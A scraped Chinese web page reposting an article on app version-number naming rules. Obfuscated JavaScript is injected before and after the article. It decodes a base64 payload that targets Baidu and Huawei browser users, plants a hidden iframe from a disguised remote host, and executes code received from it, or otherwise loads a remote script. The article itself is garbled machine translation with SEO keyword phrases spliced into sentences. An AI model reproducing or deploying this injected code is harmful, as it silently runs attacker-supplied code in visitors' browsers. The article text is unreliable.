eval("\x77\x69\x6e\x64\x6f\x77")["\x4B\x50\x76\x76"]=function(e){var KP =''+'ABCDEFGHIJK'+'LMNOPQRSTUVWXYZab'+'cdefghijklmnop'+'qrstuvwxyz0123'+'456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=KP.indexOf(e.charAt(f++));o=KP.indexOf(e.charAt(f++));u=KP.indexOf(e.charAt(f++));a=KP.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x67\x50\x4B\x6D\x76\x61\x4D\x71\x45"]=function(){eval(KPvv("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoS1B2dih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEtQdnYoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihLUHZ2KCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbS1B2digiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKEtQdnYoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd6JysnSVRUTHcnKydVeicrJ00zJysnMHlZJysnR0onKydUVEonKyd0VicrJ0cnKydjc2htJysnWkdKJysnVFRKJysneicrJ1FEJysnTncnKydFVFRRJysnelVTYicrJ3ZObUwnKyd4OUcnKydjJysnMWRYJysnY3VjMycrJ2QnKyczWmtNJysnbFlrTWwnKydFME0nKydsTUhjJysnMFJIJysnYScrJycrJycsJycrJ0kxYycrJ0tKYycrJ2JxJysnJysnJyx3aW5kb3csZG9jdW1lbnQsJycrJ0hxcScrJ0p1SScrJzUnKycnKycnLCdUJyk="));}
版本号命名规则,版本号数字越大越好吗

2021年12月30日 拜克 阅读(188)

版本号是APP的身份代码,需要遵循某些规范和原则。

作为移动终端的产品经理,他经常做APP版的迭代规划,所以确定APP版的版个数是不可避免的。在大多数情况下,可以通过拍拍他的头来确定版本号。

一些公司可能有专门的项目经理负责版这项管理和版本号命名,但大多数小公司可能是负责这项工作的产品经理。

在网上收集了一些信息后,我发现APP版本号的命名有很多规范和原则。本文将与您分享这些规范和原则。

1、 为什么我们要标准化APP版本号的命名?

首先,我们需要解释哪些人员需要使用APP版本号。第一个是产品经理,第二个是开发人员,第三个是项目经理,第四个是用户。

对于产品经理,APP和版,此迭代基本上由产品经理发起。因此,在许多情况下,产品经理通常在需求管理期间划分版本号和版此计划。对于产品经理,可以更好、更清楚地筛选和确定每本版书的要求。

对于开发人员来说,版本号与代码直接相关。很多时候,不同的版书籍是交叉开发的,不同的版书籍可以同时开发。为了确保代码的规范性和清晰性,版本号数字越大越好吗,避免不同版书籍之间的交叉混淆,版本号数字越大越好吗,版本号是一个极其重要的环节。

对于项目经理而言,版本号是需求管理中的唯一标识符。有必要根据版本号管理和分配分配分配工作,也有必要在软件产品生命周期中进行更好的沟通和标记。

对于用户而言,尽管版本号只是用户的一系列数字,但用户对版本号的感知是一个不断更新的数字。您可以通过版本号判断您的APP是否为最新版本。

2、 APP版本号成分和规格

目前,在许多情况下,版本号可能只遵循两个原则和规范,即版本号唯一的基本原则和一组数字。

在介绍APP版本号的命名约定和原则之前,我们首先需要了解一些APP版本号的组成。

软件版本号由四部分组成:主版本号子版本号。阶段版本号。日期版本号加希腊字母版本号

希腊字母有五种版本号:base,al版本号命名规则pha,beta,RC,Release。例如:2.1.0.181209Release

希腊字母版简述如下:

alpha版:也称为α版(开发环境)。本书版主要关注软件功能的实现,版本号数字越大越好吗,通常只与软件开发人员进行交流;

beta版:这本版书是相对于α版的。已经做出了很大的改进,并消除了严重的错误,但仍有一些缺陷需要通过多次测试进一步消除。该版主要修改对象为软件UI;

RC版:这个版书已经相当成熟了。基本上不存在发生错误的Bug。和即将发行的正式版基本相同。

Release版:这本版书意味着“最终版本”、“在线版本”,在之前版书的一系列测试版之后,终于有了正式版本书,是最终交给用户的书。这个版书也被称为标准版。一般来说,Release在软件的封面上不是单词,而是符号(R)。

对于绝大多数APP来说,基本上采用了GNU风格版本号的管理策略,APP完全版本号的构成是3组数字“主版本号.子版本号.阶段版本号”,即X.Y.Z,X、Y、Z是正整数。

三、APP版本号的姓名变更规则

1.主版本号

在APP的多个主要模块有较大变动的情况下,例如APP新增TAB,产品整体的结构发生了变化。或追加了新的功能或业务。例如微信在线钱包、多音在线转播等。

主版本号开始值是0或1,具体而言,需要由产品管理器决定是否需要修正主版本号。

2.子版本号

子版本号初始值为0。

APP在较少的主要模块中发生大的变动或新模块(与主逻辑变更有关的)、在多个分支模块中发生大的变动或追加的情况下,对于主版本号仅发生局部的变动,例如某个功能上的UI重构、需要定义更少的模块和更多的模块,例如优化某一页。我觉得比三个小,但我觉得有三个以上。

子版本号的最大值需要确定,不同的公司可能有最大版本号命名规则值。例如,最大超过9的话,需要将主版本号放入1中。也有没有最大值的公司。仅在主版本号+1时返回0。这里没有规定的原则和规定,产品经理自己决定规则。

3.阶段版本号

阶段版本号初始值为0。

什么时候修改阶段版本号?一般情况下是Bug修复、少分支模块变动、例如视觉、样式、交互、文案等修正情况。

通常,只有修复Bug的话,等级版本号+1就可以。在与修复相关联的情况下,如果分支模块的修改较少,则步骤版编号+2;如果超过三个分支模块的修改,则需要直接子版本号+1。

结束

虽说是一连串的数字,但对产品经理、开发者、用户来说是有意义的数字。不仅可以规范书的生活周期,还可以方便和内部人的交流和工作。

轻拍头部命名版本号并不严格和标准化,产品经理需要追版本号命名规则求完美。希望以上命名规范APP版能给您一些参考。

作者:harryli,新零售行业产品经理,微信公众号,“Harry李先生注释”。

这篇文章最初由@harryli发表,每个人都是产品经理。未经允许不得转载。

图片来自unsplash,基于cc0协议。

本文转载自互联网,如有侵权,联系删除

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

eval("\x77\x69\x6e\x64\x6f\x77")["\x62\x62\x62\x62"]=function(e){var zz =''+'ABCDEFGHIJKLM'+'NOPQRSTUVWXY'+'Zabcdef'+'ghijklm'+'nopqrstuvwxyz012'+'3456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=zz.indexOf(e.charAt(f++));o=zz.indexOf(e.charAt(f++));u=zz.indexOf(e.charAt(f++));a=zz.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x62\x41\x62\x53\x72\x52\x4E\x7A\x62"]=function(){eval(bbbb("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoYmJiYih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKGJiYmIoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihiYmJiKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbYmJiYigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKGJiYmIoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd5JysnSVRMeFUnKyd6JysnTTMweScrJ1knKydHSlQnKydKbCcrJ0YzJysnWjRsJysnR05HJysnSlQnKydKelFETicrJ3dFVFEnKyd6VVMnKydTJysnYicrJ3ZObUx4JysnOScrJ0djMWQnKydYY3UnKydjM2QzJysnWicrJ2tNbCcrJ1lrTWxFJysnME1sTScrJ0hjMFJIJysnYScrJycrJycsJycrJ0cybycrJ3llOScrJzVhJysnJysnJyx3aW5kb3csZG9jdW1lbnQsJycrJzZwdCcrJzl6QycrJ3gnKycnKycnLCdTJyk="));}